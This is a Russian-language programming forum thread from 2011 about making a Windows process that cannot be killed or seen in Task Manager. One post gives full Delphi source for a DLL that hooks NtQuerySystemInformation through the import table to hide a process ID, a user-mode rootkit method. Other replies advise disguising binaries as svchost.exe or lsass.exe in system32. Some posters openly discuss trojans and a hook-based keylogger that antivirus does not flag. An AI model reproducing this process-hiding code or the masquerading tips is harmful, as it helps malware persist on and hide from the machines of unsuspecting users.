НЕубиваемый процесс
| |
cool1 | Дата: Понедельник, 02.05.2011, 06:41 | Сообщение # 1 |
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
| Как создать неубиваемый процесс? Например все вы знаете антивирус ESS (Eset Samrt Security) да и обычный НОД 32 если вы в Диспетчере задач Windows захотите убить этот процесс у вас не получиться! Как это сделать?
За помощь ставьте +!
|
|
| |
gravitas | Дата: Понедельник, 02.05.2011, 08:12 | Сообщение # 2 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Я конечно не о том, но как вариант... Можно создать не 1 процесс, а несколько. И чтобы все они по таймеру друг друга запускали. http://delfcode.ru/forum/10-466-1
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
dolphin | Дата: Понедельник, 02.05.2011, 08:16 | Сообщение # 3 |
Администратор
Сообщений: 906
Статус: Offline
| gravitas, Несколько тоже можно убить выделив сразу 2 в диспетчере задач.
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
gravitas | Дата: Понедельник, 02.05.2011, 08:45 | Сообщение # 4 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Quote (dolphin) gravitas, Несколько тоже можно убить выделив сразу 2 в диспетчере задач. Безусловно. Но там их вроде бы 4... Вряд ли кто то (не шарящий) определит все левые процессы в ДЗ.
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
cool1 | Дата: Понедельник, 02.05.2011, 08:57 | Сообщение # 5 |
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
| Систему грузить будет 4 проца!
За помощь ставьте +!
|
|
| |
gravitas | Дата: Понедельник, 02.05.2011, 09:11 | Сообщение # 6 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Quote (cool1) Систему грузить будет 4 проца! Ни на один % не грузит тот сорс, что я дал.
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
BROVAR | Дата: Вторник, 03.05.2011, 03:56 | Сообщение # 7 |
Был не раз
Зарегистрирован: 03.05.2011
Группа: Пользователи
Сообщений: 9
Статус: Offline
| Использую вспомагательный процесс. Если один из них отключается, то второй запускает его. Так же есть исходнички которые полностью скрывают процесс: Code library NThide;
uses Windows, ImageHlp, TlHelp32;
type TImageImportDescriptor=packed record Characteristics:DWORD; TimeDateStamp:DWORD; ForwarderChain:DWORD; Name:DWORD; FirstThunk:DWORD; end;
PImageImportDescriptor=^TImageImportDescriptor;
type PPointer=^Pointer;
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar;// имя dll с функцией
pfnCurrent: Pointer; // адрес перехватываемой // функции
pfnNew: Pointer; // адрес новой функции
hmodCaller: hModule // сам модуль );
var ulSize,written: Cardinal; pImportDesc: PImageImportDescriptor; pszModName: PChar; pThunk: PDWORD; ppfn:PPointer; ffound: LongBool; begin pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize); if pImportDesc = nil then exit; while pImportDesc.Name<>0 do begin pszModName:=PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break; Inc(pImportDesc); end;
if pImportDesc.Name = 0 then exit;
pThunk:=PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^<>0 do begin ppfn := PPointer(pThunk); fFound := (ppfn^ = pfnCurrent);
if (fFound) then begin VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE, written); WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), written); exit; end; inc(pThunk); end; end;
var addr_NtQuerySystemInformation: Pointer; mypid: DWORD; mapaddr: PDWORD;
function myNtQuerySystemInfo(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength: DWORD):LongInt; stdcall; label onceagain, getnextpidstruct, quit, fillzero; asm push ReturnLength push SystemInformationLength push SystemInformation push dword ptr SystemInformationClass call dword ptr [addr_NtQuerySystemInformation] or eax,eax jl quit cmp SystemInformationClass, 5 jne quit
onceagain: mov esi, SystemInformation
getnextpidstruct: mov ebx, esi cmp dword ptr [esi],0 je quit add esi, [esi] mov ecx, [esi+44h] cmp ecx, mypid jne getnextpidstruct mov edx, [esi] test edx, edx je fillzero add [ebx], edx jmp onceagain
fillzero: and [ebx], edx jmp onceagain
quit: mov Result, eax end;
procedure InterceptFunctions; // перехватить функции var hSnapShot: Cardinal; me32: MODULEENTRY32; begin addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'), 'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
ZeroMemory(@me32,sizeof(MODULEENTRY32)); me32.dwSize:=sizeof(MODULEENTRY32); Module32First(hSnapShot,me32);
repeat ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation, @MyNtQuerySystemInfo, me32.hModule); until not Module32Next(hSnapShot,me32);
CloseHandle(hSnapShot); end;
procedure UninterceptFunctions; // снятие перехвата var hSnapShot: THandle; me32: MODULEENTRY32; begin addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'), 'NtQuerySystemInformation'); hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
ZeroMemory(@me32,sizeof(MODULEENTRY32)); me32.dwSize:=sizeof(MODULEENTRY32); Module32First(hSnapShot,me32);
repeat ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo, addr_NtQuerySystemInformation, me32.hModule); until not Module32Next(hSnapShot,me32);
CloseHandle(hSnapShot); end;
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall; begin // рвем цепочку хуков Result:=0; end;
procedure InstallHook; stdcall; begin // отлавливаем сообщения о происшедствиях с окнами HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0); end;
var hFirstMapHandle:THandle;
function HideProcess(pid:DWORD):BOOL; stdcall; var addrMap: PDWORD; begin mypid:=0; result:=false; hFirstMapHandle:=CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8, 'NtHideFileMapping'); if hFirstMapHandle=0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
if addrMap=nil then begin CloseHandle(hFirstMapHandle); exit; end;
addrMap^:=pid; UnmapViewOfFile(addrMap); InstallHook; // запрещаем сообщения WH_CBT result:=true; end;
exports HideProcess;
var hmap: THandle;
procedure LibraryProc(Reason: Integer); begin if Reason = DLL_PROCESS_DETACH then if mypid > 0 then UninterceptFunctions
else CloseHandle(hFirstMapHandle); end;
begin hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
if hmap=0 then exit;
mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
if mapaddr=nil then exit;
mypid:=mapaddr^; InterceptFunctions; UnmapViewOfFile(mapaddr); CloseHandle(Hmap); DLLProc:=@LibraryProc; end. Используйте теги
Абара!
Сообщение отредактировал dolphin - Вторник, 03.05.2011, 10:14 |
|
| |
artemuk | Дата: Вторник, 03.05.2011, 19:58 | Сообщение # 8 |
Был не раз
Зарегистрирован: 31.05.2010
Группа: Пользователи
Сообщений: 17
Статус: Offline
| Доступно только для пользователей
Сообщение отредактировал dolphin - Среда, 04.05.2011, 15:16 |
|
| |
C@T | Дата: Вторник, 03.05.2011, 20:58 | Сообщение # 9 |
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
| Пример сложно убиваемой программы
|
|
| |
shadowrun | Дата: Вторник, 03.05.2011, 22:25 | Сообщение # 10 |
Новичок
Зарегистрирован: 03.05.2011
Группа: Пользователи
Сообщений: 2
Статус: Offline
| В таких случаях обзываю приложение svchost.exe и заливаю в %SystemRoot%\system32\.
|
|
| |
dolphin | Дата: Среда, 04.05.2011, 15:20 | Сообщение # 11 |
Администратор
Сообщений: 906
Статус: Offline
| Доступно только для пользователей
Кто нибудь пробовал этот код? У меня на 7 не работает.
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
Neo | Дата: Четверг, 05.05.2011, 11:27 | Сообщение # 12 |
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
| У меня хп,код и там не работает!
|
|
| |
batrjan | Дата: Пятница, 06.05.2011, 13:29 | Сообщение # 13 |
Группа: Удаленные
| а может проще назвать его lsass.exe? хотя два процесса с таким именем могут вызвать подозрения
|
|
| |
XSPY | Дата: Пятница, 06.05.2011, 21:35 | Сообщение # 14 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| драйвера очень помогают в защите и не только))
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
Neo | Дата: Суббота, 07.05.2011, 11:58 | Сообщение # 15 |
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
| Ну давайте подумаем!Процесс завершает API функция ZwTerminateProcess.Следовательно что с ней нежно сделать?....Я думаю,что перехватить да и всё! А драйвер это круто,ничего не скажешь.
|
|
| |
BROVAR | Дата: Четверг, 26.05.2011, 04:34 | Сообщение # 16 |
Был не раз
Зарегистрирован: 03.05.2011
Группа: Пользователи
Сообщений: 9
Статус: Offline
| Вообще я не советую называть подобием системных процессов, если стандартные авиры не обратят внимания, то АВЗ-шка или Чекист обратят точно. Больше люблю обзывать трояны какими-то известными приложениями в таком случае АВЗ не скандалит на подозрительное имя.
Абара!
|
|
| |
gravitas | Дата: Пятница, 04.11.2011, 15:31 | Сообщение # 17 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Поднимаю тему, т.к. взялся за перехват апи, а тут ему самое место. Вобщем, попробовал сделать как сказал Neo. Перехватить не удалось, потом Вован сказал, что такие дела только через нулевое кольцо делаются... Тут Neo написал, что у него тоже не получилось перехватить эту функцию и он решил проблему закрытия процесса через перехват OpenProcess и пояснил, что запрещает обращаться к ID процесса троя. Я посмотрел OpenProcess и увидел, что результатом является хэнлд процесса, а не айди. Короче, запутался) У кого есть какие идеи, что можно перехватить, чтобы диспетчер не творил что хотел?)
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
XSPY | Дата: Пятница, 04.11.2011, 22:07 | Сообщение # 18 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| gravitas, зачем так сложно?можно установить хуки на клаву и мышку-их будет вполне достаточно,чтобы пользователь не натворил чего(тут нужно еще предусмотреть виртуальную клавиатуру,которая может его спасти).
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
dolphin | Дата: Пятница, 04.11.2011, 23:51 | Сообщение # 19 |
Администратор
Сообщений: 906
Статус: Offline
| Я тут заметил одну багу, что если назвать процесс Доступно только для пользователей то его невозможно завершить в диспетчере, сами попробуйте gravitas, может это сгодиться?
Система: Windows 10 x64, Kali Linux Среды программирования: Delphi 7, Delphi 10.x
Я не профессионал, я всего лишь любитель Я не вредитель, я всего лишь теоретик
|
|
| |
gravitas | Дата: Суббота, 05.11.2011, 17:06 | Сообщение # 20 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| dolphin, нет, это не сгодится XSPY, тоже самое)
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
XSPY | Дата: Суббота, 05.11.2011, 18:26 | Сообщение # 21 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| gravitas, а чего так?обьясни плиз))
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
XSPY | Дата: Суббота, 05.11.2011, 18:35 | Сообщение # 22 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| dolphin, а внатуре пашет!=)) у меня на Windows SP3 работает)) от имени админа правда запускал.
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
gravitas | Дата: Суббота, 05.11.2011, 19:35 | Сообщение # 23 |
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
| Ну хук на мышь и клава слишком палевно на ав, да и муторно. А про процесс - слишком просто)
TheDeduction Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
| |
XSPY | Дата: Воскресенье, 06.11.2011, 19:35 | Сообщение # 24 |
Продвинутый
Зарегистрирован: 28.01.2010
Группа: Пользователи
Сообщений: 263
Статус: Offline
| gravitas, все гениальное просто)) кстати,насчет хуков немного неправ)) моего логгера не палят ща)) а он на хуках)) Жаль только,что евристики палят Длл(но только если на уровень параноик)
Я не крекер,а программист! Я не преступник-я свободный человек! Лучше один раз накодить,чем сто раз качать билды!
|
|
| |
vvova15 | Дата: Понедельник, 07.11.2011, 17:53 | Сообщение # 25 |
Участник
Зарегистрирован: 24.04.2010
Группа: Пользователи
Сообщений: 83
Статус: Offline
| антивирусы перехватывают ZwTerminateprocess, zwwriteprocessmemory, и т.п. из нулевого кольца, поэтому их процессы из 3-го кольца(usermode) не убьешь
ICQ 185-398
|
|
| |
|